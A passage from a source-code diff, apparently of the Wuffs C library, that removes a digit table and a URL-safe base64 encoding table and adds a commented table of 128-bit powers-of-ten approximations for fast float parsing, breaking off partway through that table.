4, 0, 6, 2, 5, 1, 2, 2, 0, 7, 0, 3, 1, 2, 5, 6, 1, 0, 3, 5, -+ 1, 5, 6, 2, 5, 3, 0, 5, 1, 7, 5, 7, 8, 1, 2, 5, 1, 5, 2, 5, 8, 7, 8, 9, 0, -+ 6, 2, 5, 7, 6, 2, 9, 3, 9, 4, 5, 3, 1, 2, 5, 3, 8, 1, 4, 6, 9, 7, 2, 6, 5, -+ 6, 2, 5, 1, 9, 0, 7, 3, 4, 8, 6, 3, 2, 8, 1, 2, 5, 9, 5, 3, 6, 7, 4, 3, 1, -+ 6, 4, 0, 6, 2, 5, 4, 7, 6, 8, 3, 7, 1, 5, 8, 2, 0, 3, 1, 2, 5, 2, 3, 8, 4, -+ 1, 8, 5, 7, 9, 1, 0, 1, 5, 6, 2, 5, 1, 1, 9, 2, 0, 9, 2, 8, 9, 5, 5, 0, 7, -+ 8, 1, 2, 5, 5, 9, 6, 0, 4, 6, 4, 4, 7, 7, 5, 3, 9, 0, 6, 2, 5, 2, 9, 8, 0, -+ 2, 3, 2, 2, 3, 8, 7, 6, 9, 5, 3, 1, 2, 5, 1, 4, 9, 0, 1, 1, 6, 1, 1, 9, 3, -+ 8, 4, 7, 6, 5, 6, 2, 5, 7, 4, 5, 0, 5, 8, 0, 5, 9, 6, 9, 2, 3, 8, 2, 8, 1, -+ 2, 5, 3, 7, 2, 5, 2, 9, 0, 2, 9, 8, 4, 6, 1, 9, 1, 4, 0, 6, 2, 5, 1, 8, 6, -+ 2, 6, 4, 5, 1, 4, 9, 2, 3, 0, 9, 5, 7, 0, 3, 1, 2, 5, 9, 3, 1, 3, 2, 2, 5, -+ 7, 4, 6, 1, 5, 4, 7, 8, 5, 1, 5, 6, 2, 5, 4, 6, 5, 6, 6, 1, 2, 8, 7, 3, 0, -+ 7, 7, 3, 9, 2, 5, 7, 8, 1, 2, 5, 2, 3, 2, 8, 3, 0, 6, 4, 3, 6, 5, 3, 8, 6, -+ 9, 6, 2, 8, 9, 0, 6, 2, 5, 1, 1, 6, 4, 1, 5, 3, 2, 1, 8, 2, 6, 9, 3, 4, 8, -+ 1, 4, 4, 5, 3, 1, 2, 5, 5, 8, 2, 0, 7, 6, 6, 0, 9, 1, 3, 4, 6, 7, 4, 0, 7, -+ 2, 2, 6, 5, 6, 2, 5, 2, 9, 1, 0, 3, 8, 3, 0, 4, 5, 6, 7, 3, 3, 7, 0, 3, 6, -+ 1, 3, 2, 8, 1, 2, 5, 1, 4, 5, 5, 1, 9, 1, 5, 2, 2, 8, 3, 6, 6, 8, 5, 1, 8, -+ 0, 6, 6, 4, 0, 6, 2, 5, 7, 2, 7, 5, 9, 5, 7, 6, 1, 4, 1, 8, 3, 4, 2, 5, 9, -+ 0, 3, 3, 2, 0, 3, 1, 2, 5, 3, 6, 3, 7, 9, 7, 8, 8, 0, 7, 0, 9, 1, 7, 1, 2, -+ 9, 5, 1, 6, 6, 0, 1, 5, 6, 2, 5, 1, 8, 1, 8, 9, 8, 9, 4, 0, 3, 5, 4, 5, 8, -+ 5, 6, 4, 7, 5, 8, 3, 0, 0, 7, 8, 1, 2, 5, 9, 0, 9, 4, 9, 4, 7, 0, 1, 7, 7, -+ 2, 9, 2, 8, 2, 3, 7, 9, 1, 5, 0, 3, 9, 0, 6, 2, 5, 4, 5, 4, 7, 4, 7, 3, 5, -+ 0, 8, 8, 6, 4, 6, 4, 1, 1, 8, 9, 5, 7, 5, 1, 9, 5, 3, 1, 2, 5, 2, 2, 7, 3, -+ 7, 3, 6, 7, 5, 4, 4, 3, 2, 3, 2, 0, 5, 9, 4, 7, 8, 7, 5, 9, 7, 6, 5, 6, 2, -+ 5, 1, 1, 3, 6, 8, 6, 8, 3, 7, 7, 2, 1, 6, 1, 6, 0, 2, 9, 7, 3, 9, 3, 7, 9, -+ 8, 8, 2, 8, 1, 2, 5, 5, 6, 8, 4, 3, 4, 1, 8, 8, 6, 0, 8, 0, 8, 0, 1, 4, 8, -+ 6, 9, 6, 8, 9, 9, 4, 1, 4, 0, 6, 2, 5, 2, 8, 4, 2, 1, 7, 0, 9, 4, 3, 0, 4, -+ 0, 4, 0, 0, 7, 4, 3, 4, 8, 4, 4, 9, 7, 0, 7, 0, 3, 1, 2, 5, 1, 4, 2, 1, 0, -+ 8, 5, 4, 7, 1, 5, 2, 0, 2, 0, 0, 3, 7, 1, 7, 4, 2, 2, 4, 8, 5, 3, 5, 1, 5, -+ 6, 2, 5, 7, 1, 0, 5, 4, 2, 7, 3, 5, 7, 6, 0, 1, 0, 0, 1, 8, 5, 8, 7, 1, 1, -+ 2, 4, 2, 6, 7, 5, 7, 8, 1, 2, 5, 3, 5, 5, 2, 7, 1, 3, 6, 7, 8, 8, 0, 0, 5, -+ 0, 0, 9, 2, 9, 3, 5, 5, 6, 2, 1, 3, 3, 7, 8, 9, 0, 6, 2, 5, 1, 7, 7, 6, 3, -+ 5, 6, 8, 3, 9, 4, 0, 0, 2, 5, 0, 4, 6, 4, 6, 7, 7, 8, 1, 0, 6, 6, 8, 9, 4, -+ 5, 3, 1, 2, 5, 8, 8, 8, 1, 7, 8, 4, 1, 9, 7, 0, 0, 1, 2, 5, 2, 3, 2, 3, 3, -+ 8, 9, 0, 5, 3, 3, 4, 4, 7, 2, 6, 5, 6, 2, 5, 4, 4, 4, 0, 8, 9, 2, 0, 9, 8, -+ 5, 0, 0, 6, 2, 6, 1, 6, 1, 6, 9, 4, 5, 2, 6, 6, 7, 2, 3, 6, 3, 2, 8, 1, 2, -+ 5, 2, 2, 2, 0, 4, 4, 6, 0, 4, 9, 2, 5, 0, 3, 1, 3, 0, 8, 0, 8, 4, 7, 2, 6, -+ 3, 3, 3, 6, 1, 8, 1, 6, 4, 0, 6, 2, 5, 1, 1, 1, 0, 2, 2, 3, 0, 2, 4, 6, 2, -+ 5, 1, 5, 6, 5, 4, 0, 4, 2, 3, 6, 3, 1, 6, 6, 8, 0, 9, 0, 8, 2, 0, 3, 1, 2, -+ 5, 5, 5, 5, 1, 1, 1, 5, 1, 2, 3, 1, 2, 5, 7, 8, 2, 7, 0, 2, 1, 1, 8, 1, 5, -+ 8, 3, 4, 0, 4, 5, 4, 1, 0, 1, 5, 6, 2, 5, 2, 7, 7, 5, 5, 5, 7, 5, 6, 1, 5, -+ 6, 2, 8, 9, 1, 3, 5, 1, 0, 5, 9, 0, 7, 9, 1, 7, 0, 2, 2, 7, 0, 5, 0, 7, 8, -+ 1, 2, 5, 1, 3, 8, 7, 7, 7, 8, 7, 8, 0, 7, 8, 1, 4, 4, 5, 6, 7, 5, 5, 2, 9, -+ 5, 3, 9, 5, 8, 5, 1, 1, 3, 5, 2, 5, 3, 9, 0, 6, 2, 5, 6, 9, 3, 8, 8, 9, 3, -+ 9, 0, 3, 9, 0, 7, 2, 2, 8, 3, 7, 7, 6, 4, 7, 6, 9, 7, 9, 2, 5, 5, 6, 7, 6, -+ 2, 6, 9, 5, 3, 1, 2, 5, 3, 4, 6, 9, 4, 4, 6, 9, 5, 1, 9, 5, 3, 6, 1, 4, 1, -+ 8, 8, 8, 2, 3, 8, 4, 8, 9, 6, 2, 7, 8, 3, 8, 1, 3, 4, 7, 6, 5, 6, 2, 5, 1, -+ 7, 3, 4, 7, 2, 3, 4, 7, 5, 9, 7, 6, 8, 0, 7, 0, 9, 4, 4, 1, 1, 9, 2, 4, 4, -+ 8, 1, 3, 9, 1, 9, 0, 6, 7, 3, 8, 2, 8, 1, 2, 5, 8, 6, 7, 3, 6, 1, 7, 3, 7, -+ 9, 8, 8, 4, 0, 3, 5, 4, 7, 2, 0, 5, 9, 6, 2, 2, 4, 0, 6, 9, 5, 9, 5, 3, 3, -+ 6, 9, 1, 4, 0, 6, 2, 5, - }; - --static const uint8_t wuffs_base__base_64__encode_url[64] = { -- // 0 1 2 3 4 5 6 7 -- // 8 9 A B C D E F -- 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, // 0x00 ..= 0x07. -- 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, // 0x08 ..= 0x0F. -- 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, // 0x10 ..= 0x17. -- 0x59, 0x5A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, // 0x18 ..= 0x1F. -- 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, // 0x20 ..= 0x27. -- 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, // 0x28 ..= 0x2F. -- 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33, // 0x30 ..= 0x37. -- 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2D, 0x5F, // 0x38 ..= 0x3F. -+// -------- -+ -+// wuffs_private_impl__powers_of_10 contains truncated approximations to the -+// powers of 10, ranging from 1e-307 to 1e+288 inclusive, as 596 pairs of -+// uint64_t values (a 128-bit mantissa). -+// -+// There's also an implicit third column (implied by a linear formula involving -+// the base-10 exponent) that is the base-2 exponent, biased by a magic -+// constant. That constant (1214 or 0x04BE) equals 1023 + 191. 1023 is the bias -+// for IEEE 754 double-precision floating point. 191 is ((3 * 64) - 1) and -+// wuffs_private_impl__parse_number_f64_eisel_lemire works with -+// multiples-of-64-bit mantissas. -+// -+// For example, the third row holds the approximation to 1e-305: -+// 0xE0B62E29_29ABA83C_331ACDAB_FE94DE87 * (2 ** (0x0049 - 0x04BE)) -+// -+// Similarly, 1e+4 is approximated by: -+// 0x9C400000_00000000_00000000_00000000 * (2 ** (0x044C - 0x04BE)) -+// -+// Similarly, 1e+68 is approximated by: -+// 0xED63A231_D4C4FB27_4CA7AAA8_63EE4BDD * (2 ** (0x0520 - 0x04BE)) -+// -+// This table was generated by by script/print-mpb-powers-of-10.go -+static const uint64_t wuffs_private_impl__powers_of_10[596][2] = { -+ {0xA5D3B6D479F8E056, 0x8FD0C16206306BAB}, // 1e-307 -+ {0x8F48A4899877186C, 0xB3C4F1BA87BC8696}, // 1e-306 -+ {0x331ACDABFE94DE87, 0xE0B62E2929ABA83C}, // 1e-305 -+ {0x9FF0C08B7F1D0B14, 0x8C71DCD9BA0B4925}, // 1e-304 -+ {0x07ECF0AE5EE44DD9, 0xAF8E5410288E1B6F}, // 1e-303 -+ {0xC9E82CD9F69D6150, 0xDB71E91432B1A24A}, // 1e-302 -+ {0xBE311C083A225CD2, 0x892731AC9FAF056E}, // 1e-301 -+ {0x6DBD630A48AAF406, 0xAB70FE17C79AC6CA}, // 1e-300 -+ {0x092CBBCCDAD5B108, 0xD64D3D9DB981787D}, // 1e-299 -+ {0x25BBF56008C58EA5, 0x85F0468293F0EB4E}, // 1e-298 -+ {0xAF2AF2B80AF6F24E, 0xA76C582338ED2621}, // 1e-297 -+ {0x1AF5AF660DB4AEE1, 0xD1476E2C07286FAA}, // 1e-296 -+ {0x50D98D9FC890ED4D, 0x82CCA4DB847945CA}, // 1e-295 -+ {0xE50FF107BAB528A0, 0xA37FCE126597973C}, // 1e-294 -+ {0x1E53ED49A96272C8, 0xCC5FC196FEFD7D0C}, // 1e-293 -+ {0x25E8E89C13BB0F7A, 0xFF77B1FCBEBCDC4F}, // 1e-292 -+ {0x77B191618C54E9AC, 0x9FAACF3DF73609B1}, // 1e-291 -+ {0xD59DF5B9EF6A2417, 0xC795830D75038C1D}, // 1e-290 -+ {0x4B0573286B44AD1D, 0xF97AE3D0D2446F25}, // 1e-289 -+ {0x4EE367F9430AEC32, 0x9BECCE62836AC577}, // 1e-288 -+ {0x229C41F793CDA73F, 0xC2E801FB244576D5}, // 1e-287 -+ {0x6B43527578C1110F, 0xF3A20279ED56D48A}, // 1e-286 -+ {0x830A13896B78AAA9, 0x9845418C345644D6}, // 1e-285 -+ {0x23CC986BC656D553, 0xBE5691EF416BD60C}, // 1e-284 -+ {0x2CBFBE86B7EC8AA8, 0xEDEC366B11C6CB8F}, // 1e-283 -+ {0x7BF7D71432F3D6A9, 0x94B3A202EB1C3F39}, // 1e-282 -+ {0xDAF5CCD93FB0CC53, 0xB9E08A83A5E34F07}, // 1e-281 -+ {0xD1B3400F8F9CFF68, 0xE858AD248F5C22C9}, // 1e-280 -+ {0x23100809B9C21FA1, 0x91376C36D99995BE}, // 1e-279 -+ {0xABD40A0C2832A78A, 0xB58547448FFFFB2D}, // 1e-278 -+ {0x16C90C8F323F516C, 0xE2E69915B3FFF9F9}, // 1e-277 -+ {0xAE3DA7D97F6792E3, 0x8DD01FAD907FFC3B}, // 1e-276 -+ {0x99CD11CFDF41779C, 0xB1442798F49FFB4A}, // 1e-275 -+ {0x40405643D711D583, 0xDD95317F31C7FA1D}, // 1e-274 -+ {0x482835EA666B2572, 0x8A7D3EEF7F1CFC52}, // 1e-273 -+ {0xDA3243650005EECF, 0xAD1C8EAB5EE43B66}, // 1e-272 -+ {0x90BED43E40076A82, 0xD863B256369D4A40}, // 1e-271 -+ {0x5A7744A6E804A291, 0x873E4F75E2224E68}, // 1e-270 -+ {0x711515D0A205CB36, 0xA90DE3535AAAE202}, // 1e-269 -+ {0x0D5A5B44CA873E03, 0xD3515C2831559A83}, // 1e-268 -+ {0xE858790AFE9486C2, 0x8412D9991ED58091}, // 1e-267 -+ {0x626E974DBE39A872, 0xA5178FFF668AE0B6}, // 1e-266 -+ {0xFB0A3D212DC8128F, 0xCE5D73FF402D98E3}, // 1e-265 -+ {0x7CE66634BC9D0B99, 0x80FA687F881C7F8E}, // 1e-264 -+ {0x1C1FFFC1EBC44E80, 0xA139029F6A239F72}, // 1e-263 -+ {0xA327FFB266B56220, 0xC987434744AC874E}, // 1e-262 -+ {0x4BF1FF9F0062BAA8, 0xFBE9141915D7A922}, // 1e-261 -+ {0x6F773FC3603DB4A9, 0x9D71AC8FADA6C9B5}, // 1e-260 -+ {0xCB550FB4384D21D3, 0xC4CE17B399107C22}, // 1e-259 -+ {0x7E2A53A146606A48, 0xF6019DA07F549B2B}, // 1e-258 -+ {0x2EDA7444CBFC426D, 0x99C102844F94E0FB}, // 1e-257 -+ {0xFA911155FEFB5308, 0xC0314325637A1939}, // 1e-256 -+ {0x793555AB7EBA27CA, 0xF03D93EEBC589F88}, // 1e-255 -+ {0x4BC1558B2F3458DE, 0x96267C7535B763B5}, // 1e-254 -+ {0x9EB1AAEDFB016F16, 0xBBB01B9283253CA2}, // 1e-253 -+ {0x465E15A979C1CADC, 0xEA9C227723EE8BCB}, // 1e-252 -+ {0x0BFACD89EC191EC9, 0x92A1958A7675175F}, // 1e-251 -+ {0xCEF980EC671F667B, 0xB749FAED14125D36}, // 1e-250 -+ {0x82B7E12780E7401A, 0xE51C79A85916F484}, // 1e-249 -+ {0xD1B2ECB8B0908810, 0x8F31CC0937AE58D2}, // 1e-248 -+ {0x861FA7E6DCB4AA15, 0xB2FE3F0B8599EF07}, // 1e-247 -+ {0x67A791E093E1D49A, 0xDFBDCECE67006AC9}, // 1e-246 -+ {0xE0C8BB2C5C6D24E0, 0x8BD6A141006042BD}, // 1e-245 -+ {0x58FAE9F773886E18, 0xAECC49914078536D}, // 1e-244 -+ {0xAF39A475506A899E, 0xDA7F5BF590966848}, // 1e-243 -+ {0x6D8406C952429603, 0x888F99797A5E012D}, // 1e-242 -+ {0xC8E5087BA6D33B83, 0xAAB37FD7D8F58178}, // 1e-241 -+ {0xFB1E4A9A90880A64, 0xD5605FCDCF32E1D6}, // 1e-240 -+ {0x5CF2EEA09A55067F, 0x855C3BE0A17FCD26}, // 1e-239 -+ {0xF42FAA48C0EA481E, 0xA6B34AD8C9DFC06F}, // 1e-238 -+ {0xF13B94DAF124DA26, 0xD0601D8EFC57B08B}, // 1e-237 -+ {0x76C53D08D6B70858, 0x823C12795DB6CE57}, // 1e-236 -+ {0x54768C4B0C64CA6E, 0xA2CB1717B52481ED}, // 1e-235 -+ {0xA9942F5DCF7DFD09, 0xCB7DDCDDA26DA268}, // 1e-234 -+ {0xD3F93B35435D7C4C, 0xFE5D54150B090B02}, // 1e-233 -+ {0xC47BC5014A1A6DAF, 0x9EFA548D26E5A6E1}, // 1e-232 -+ {0x359AB6419CA1091B, 0xC6B8E9B0709F109A}, // 1e-231 -+ {0xC30163D203C94B62, 0xF867241C8CC6D4C0}, // 1e-230 -+ {0x79E0DE63425DCF1D, 0x9B407691D7FC44F8}, // 1e-229 -+ {0x985915FC12F542E4, 0xC21094364DFB5636}, // 1e-228 -+ {0x3E6F5B7B17B2939D, 0xF294B943E17A2BC4}, // 1e-227 -+ {0xA705992CEECF9C42, 0x979CF3CA6CEC5B5A}, // 1e-226 -+ {0x50C6FF782A838353, 0xBD8430BD08277231}, // 1e-225 -+ {0xA4F8BF5635246428, 0xECE53CEC4A314EBD}, // 1e-224 -+ {0x871B7795E136BE99, 0x940F4613AE5ED136}, // 1e-223 -+ {0x28E2557B59846E3F, 0xB913179899F68584}, // 1e-222 -+ {0x331AEADA2FE589CF, 0xE757DD7EC07426E5}, // 1e-221 -+ {0x3FF0D2C85DEF7621, 0x9096EA6F3848984F}, // 1e-220 -+ {0x0FED077A756B53A9, 0xB4BCA50B065ABE63}, // 1e-219 -+ {0xD3E8495912C62894, 0xE1EBCE4DC7F16DFB}, // 1e-218 -+ {0x64712DD7ABBBD95C, 0x8D3360F09CF6E4BD}, // 1e-217 -+ {0xBD8D794D96AACFB3, 0xB080392CC4349DEC}, // 1e-216 -+ {0xECF0D7A0FC5583A0, 0xDCA04777F541C567}, // 1e-215 -+ {0xF41686C49DB57244, 0x89E42CAAF9491B60}, // 1e-214 -+ {0x311C2875C522CED5, 0xAC5D37D5B79B6239}, // 1e-213 -+ {0x7D633293366B828B, 0xD77485CB25823AC7}, // 1e-212 -+ {0xAE5DFF9C02033197, 0x86A8D39EF77164BC}, // 1e-211 -+ {0xD9F57F830283FDFC, 0xA8530886B54DBDEB}, // 1e-210 -+ {0xD072DF63C324FD7B, 0xD267CAA862A12D66}, // 1e-209 -+ {0x4247CB9E59F71E6D, 0x8380DEA93DA4BC60}, // 1e-208 -+ {0x52D9BE85F074E608, 0xA46116538D0DEB78}, // 1e-207 -+ {0x67902E276C921F8B, 0xCD795BE870516656}, // 1e-206 -+ {0x00BA1CD8A3DB53B6, 0x806BD9714632DFF6}, // 1e-205 -+ {0x80E8A40ECCD228A4, 0xA086CFCD97BF97F3}, // 1e-204 -+ {0x6122CD128006B2CD, 0xC8A883C0FDAF7DF0}, // 1e-203 -+ {0x796B805720085F81, 0xFAD2A4B13D1B5D6C}, // 1e-202 -+ {0xCBE3303674053BB0, 0x9CC3A6EEC6311A63}, // 1e-201 -+ {0xBEDBFC4411068A9C, 0xC3F490AA77BD60FC}, // 1e-200 -+ {0xEE92FB5515482D44, 0xF4F1B4D515ACB93B}, // 1e-199 -+ {0x751BDD152D4D1C4A, 0x991711052D8BF3C5}, // 1e-198 -+ {0xD262D45A78A0635D, 0xBF5CD54678EEF0B6}, // 1e-197 -+ {0x86FB897116C87C34, 0xEF340A98172AACE4}, // 1e-196 -+ {0xD45D35E6AE3D4DA0, 0x9580869F0E7AAC0E}, // 1e-195 -+ {0x8974836059CCA109, 0xBAE0A846D2195712}, // 1e-194 -+ {0x2BD1A438703FC94B, 0xE998D258869FACD7}, // 1e-193 -+ {0x7B6306A34627DDCF, 0x91FF83775423CC06}, // 1e-192 -+ {0x1A3BC84C17B1D542, 0xB67F6455292CBF08}, // 1e-191 -+ {0x20CABA5F1D9E4A93, 0xE41F3D6A7377EECA}, // 1e-190 -+ {0x547EB47B7282EE9C, 0x8E938662882AF53E}, // 1e-189 -+ {0xE99E619A4F23AA43, 0xB23867FB2A35B28D}, // 1e-188 -+ {0x6405FA00E2EC94D4, 0xDEC681F9F4C31F31}, // 1e-187 -+ {0xDE83BC408DD3DD04, 0x8B3C113C38F9F37E}, // 1e-186 -+ {0x9624AB50B148D445, 0xAE0B158B4738705E}, // 1e-185 -+ {0x3BADD624DD9B0957, 0xD98DDAEE19068C76}, // 1e-184 -+ {0xE54CA5D70A80E5D6, 0x87F8A8D4CFA417C9}, // 1e-183 -+ {0x5E9FCF4CCD211F4C, 0xA9F6D30A038D1DBC}, // 1e-182 -+ {0x7647C3200069671F, 0xD47487CC8470652B}, // 1e-181 -+ {0x29ECD9F40041E073, 0x84C8D4DFD2C63F3B}, // 1e-180 -+ {0xF468107100525890, 0xA5FB0A17C777CF09}, // 1e-179 -+ {0x7182148D4066EEB4, 0xCF79CC9DB955C2CC}, // 1e-178 -+ {0xC6F14CD848405530, 0x81AC1FE293D599BF}, // 1e-177 -+ {0xB8ADA00E5A506A7C, 0xA21727DB38CB002F}, // 1e-176 -+ {0xA6D90811F0E4851C, 0xCA9CF1D206FDC03B}, // 1e-175 -+ {0x908F4A166D1DA663, 0xFD442E4688BD304A}, // 1e-174 -+ {0x9A598E4E043287FE, 0x9E4A9CEC15763E2E}, // 1e-173 -+ {0x40EFF1E1853F29FD, 0xC5DD44271AD3CDBA}, // 1e-172 -+ {0xD12BEE59E68EF47C, 0xF7549530E188C128}, // 1e-171 -+ {0x82BB74F8301958CE, 0x9A94DD3E8CF578B9}, // 1e-170 -+ {0xE36A52363C1FAF01, 0xC13A148E3032D6E7}, // 1e-169 -+ {0xDC44E6C3CB279AC1, 0xF18899B1BC3F8CA1}, // 1e-168 -+ {0x29AB103A5EF8C0B9, 0x96F5600F15A7B7E5}, // 1e-167 -+ {0x7415D448F6B6F0E7, 0xBCB2B812DB11A5DE}, // 1e-166 -+ {0x111B495B3464AD21, 0xEBDF661791D60F56}, // 1e-165 -+ {0xCAB10DD900BEEC34, 0x936B9FCEBB25C995}, // 1e-164 -+ {0x3D5D514F40EEA742, 0xB84687C269EF3BFB}, // 1e-163 -+ {0x0CB4A5A3112A5112, 0xE65829B3046B0AFA}, // 1e-162 -+ {0x47F0E785EABA72AB, 0x8FF71A0FE2C2E6DC}, // 1e-161 -+ {0x59ED216765690F56, 0xB3F4E093DB73A093}, // 1e-160 -+ {0x306869C13EC3532C, 0xE0F218B8D25088B8}, // 1e-159 -+ {0x1E414218C73A13FB, 0x8C974F7383725573}, // 1e-158 -+ {0xE5D1929EF90898FA, 0xAFBD2350644EEACF}, // 1e-157 -+ {0xDF45F746B74ABF39, 0xDBAC6C247D62A583}, // 1e-156 -+ {0x6B8BBA8C328EB783, 0x894BC396CE5DA772}, // 1e-155 -+ {0x066EA92F3F326564, 0xAB9EB47C81F5114F}, // 1e-154 -+ {0xC80A537B0EFEFEBD, 0xD686619BA27255A2}, // 1e-153 -+ {0xBD06742CE95F5F36, 0x8613FD0145877585}, // 1e-152 -+ {0x2C48113823B73704, 0xA798FC4196E952E7}, // 1e-151 -+ {0xF75A15862CA504C5, 0xD17F3B51FCA3A7A0}, // 1e-150 -+ {0x9A984D73DBE722FB, 0x82EF85133DE648C4}, // 1e-149 -+ {0xC13E60D0D2E0EBBA, 0xA3AB66580D5FDAF5}, // 1e-148 -+ {0x318DF905079926A8, 0xCC963FEE10B7D1B3}, // 1e-147 -+ {0xFDF17746497F7052, 0xFFBBCFE994E5C61F}, // 1e-146 -+ {0xFEB6EA8BEDEFA633, 0x9FD561F1FD0F9BD3}, // 1e-145 -+ {0xFE64A52EE96B8FC0, 0xC7CABA6E7C5382C8}, // 1e-144 -+ {0x3DFDCE7AA3C673B0, 0xF9BD690A1B68637B}, // 1e-143 -+ {0x06BEA10CA65C084E, 0x9C1661A651213E2D}, // 1e-142 -+ {0x486E494FCFF30A62, 0xC31BFA0FE5698DB8}, // 1e-141 -+ {0x5A89DBA3C3EFCCFA, 0xF3E2F893DEC3F126}, // 1e-140 -+ {0xF89629465A75E01C, 0x986DDB5C6B3A76B7}, // 1e-139 -+ {0xF6BBB397F1135823, 0xBE89523386091465}, // 1e-138 -+ {0x746AA07DED582E2C, 0xEE2BA6C0678B597F}, // 1e-137 -+ {0xA8C2A44EB4571CDC, 0x94DB483840B717EF}, // 1e-136 -+ {0x92F34D62616CE413, 0xBA121A4650E4DDEB}, // 1e-135 -+ {0x77B020BAF9C81D17, 0xE896A0D7E51E1566}, // 1e-134 -+ {0x0ACE1474DC1D122E, 0x915E2486EF32CD60}, // 1e-133 -+ {0x0D819992132456BA, 0xB5B5ADA8AAFF80B8}, // 1e-132 -+ {0x10E1FFF697ED6C69, 0xE3231912D5BF60E6}, // 1e-131 -+ {0xCA8D3FFA1EF463C1, 0x8DF5EFABC5979C8F}, // 1e-130 -+ {0xBD308FF8A6B17CB2, 0xB1736B96B6FD83B3}, // 1e-129 -+ {0xAC7CB3F6D05DDBDE, 0xDDD0467C64BCE4A0}, // 1e-128 -+ {0x6BCDF07A423AA96B, 0x8AA22C0DBEF60EE4}, // 1e-127 -+ {0x86C16C98D2C953C6, 0xAD4AB7112EB3929D}, // 1e-126 -+ {0xE871C7BF077BA8B7, 0xD89D64D57A607744}, // 1e-125 -+ {0x11471CD764AD4972, 0x87625F056C7C4A8B}, // 1e-124 -+ {0xD598E40D3DD89BCF, 0xA93AF6C6C79B5D2D}, // 1e-123 -+ {0x4AFF1D108D4EC2C3, 0xD389B47879823479}, // 1e-122 -+ {0xCEDF722A585139BA, 0x843610CB4BF160CB}, // 1e-121 -+ {0xC2974EB4EE658828, 0xA54394FE1EEDB8FE}, // 1e-120 -+ {0x733D226229FEEA32, 0xCE947A3DA6A9273E}, // 1e-119 -+ {0x0806357D5A3F525F, 0x811CCC668829B887}, // 1e-118 -+ {0xCA07C2DCB0CF26F7, 0xA163FF802A3426A8}, // 1e-117 -+ {0xFC89B393DD02F0B5, 0xC9BCFF6034C13052}, // 1e-116 -+ {0xBBAC2078D443ACE2, 0xFC2C3F3841F17C67}, // 1e-115 -+ {0xD54B944B84AA4C0D, 0x9D9BA7832936EDC0}, // 1e-114 -+ {0x0A9E795E65D4DF11, 0xC5029163F384A931}, // 1e-113 -+ {0x4D4617B5FF4A16D5, 0xF64335BCF065D37D}, // 1e-112 -+ {0x504BCED1BF8E4E45, 0x99EA0196163FA42E}, // 1e-111 -+ {0xE45EC2862F71E1D6, 0xC06481FB9BCF8D39}, // 1e-110 -+ {0x5D767327BB4E5A4C, 0xF07DA27A82C37088}, // 1e-109 -+ {0x3A6A07F8D510F86F, 0x964E858C91BA2655}, // 1e-108 -+ {0x890489F70A55368B, 0xBBE226EFB628AFEA}, // 1e-107 -+ {0x2B45AC74CCEA842E, 0xEADAB0ABA3B2DBE5}, // 1e-106 -+ {0x3B0B8BC90012929D, 0x92C8AE6B464FC96F}, // 1e-105 -+ {0x09CE6EBB40173744, 0xB77ADA0617E3BBCB}, // 1e-104 -+ {0xCC420A6A101D0515, 0xE55990879DDCAABD}, // 1e-103 -+ {0x9FA946824A12232D, 0x8F57FA54C2A9EAB6}, // 1e-102 -+ {0x47939822DC96ABF9, 0xB32DF8E9F3546564}, // 1e-101 -+ {0x59787E2B93BC56F7, 0xDFF9772470297EBD}, // 1e-100 -+ {0x57EB4EDB3C55B65A, 0x8BFBEA76C619EF36}, // 1e-99 -+ {0xEDE622920B6B23F1, 0xAEFAE51477A06B03}, // 1e-98 -+ {0xE95FAB368E45ECED, 0xDAB99E59958885C4}, // 1e-97 -+ {0x11DBCB0218EBB414, 0x88B402F7FD75539B}, // 1e-96 -+ {0xD652BDC29F26A119, 0xAAE103B5FCD2A881}, // 1e-95 -+ {0x4BE76D3346F0495F, 0xD59944A37C0752A2}, // 1e-94 -+ {0x6F70A4400C562DDB, 0x857FCAE62D8493A5}, // 1e-93 -+ {0xCB4CCD500F6BB952, 0xA6DFBD9FB8E5B88E}, // 1e-92 -+ {0x7E2000A41346A7A7, 0xD097AD07A71F26B2}, // 1e-91 -+ {0x8ED400668C0C28C8, 0x825ECC24C873782F}, // 1e-90 -+ {0x728900802F0F32FA, 0xA2F67F2DFA90563B}, // 1e-89 -+ {0x4F2B40A03AD2FFB9, 0xCBB41EF979346BCA}, // 1e-88 -+ {0xE2F610C84987BFA8, 0xFEA126B7D78186BC}, // 1e-87 -+ {0x0DD9CA7D2DF4D7C9, 0x9F24B832E6B0F436}, // 1e-86 -+ {0x91503D1C79720DBB, 0xC6EDE63FA05D3143}, // 1e-85 -+ {0x75A44C6397CE912A, 0xF8A95FCF88747D94}, // 1e-84 -+ {0xC986AFBE3EE11ABA, 0x9B69DBE1B548CE7C}, // 1e-83 -+ {0xFBE85BADCE996168, 0xC24452DA229B021B}, // 1e-82 -+ {0xFAE27299423FB9C3, 0xF2D56790AB41C2A2}, // 1e-81 -+ {0xDCCD879FC967D41A, 0x97C560BA6B0919A5}, // 1e-80 -+ {0x5400E987BBC1C920, 0xBDB6B8E905CB600F}, // 1e-79 -+ {0x290123E9AAB23B68, 0xED246723473E3813}, // 1e-78 -+ {0xF9A0B6720AAF6521, 0x9436C0760C86E30B}, // 1e-77 -+ {0xF808E40E8D5B3E69, 0xB94470938FA89BCE}, // 1e-76 -+ {0xB60B1D1230B20E04, 0xE7958CB87392C2C2}, // 1e-75 -+ {0xB1C6F22B5E6F48C2, 0x90BD77F3483BB9B9}, // 1e-74 -+ {0x1E38AEB6360B1AF3, 0xB4ECD5F01A4AA828}, // 1e-73 -+ {0x25C6DA63C38DE1B0, 0xE2280B6C20DD5232}, // 1e-72 -+ {0x579C487E5A38AD0E, 0x8D590723948A535F}, // 1e-71 -+ {0x2D835A9DF0C6D851, 0xB0AF48EC79ACE837}, // 1e-70 -+ {0xF8E431456CF88E65, 0xDCDB1B2798182244}, // 1e-69 -+ {0x1B8E9ECB641B58FF, 0x8A08F0F8BF0F156B}, // 1e-68 -+ {0xE272467E3D222F3F, 0xAC8B2D36EED2DAC5}, // 1e-67 -+ {0x5B0ED81DCC6ABB0F, 0xD7ADF884AA879177}, // 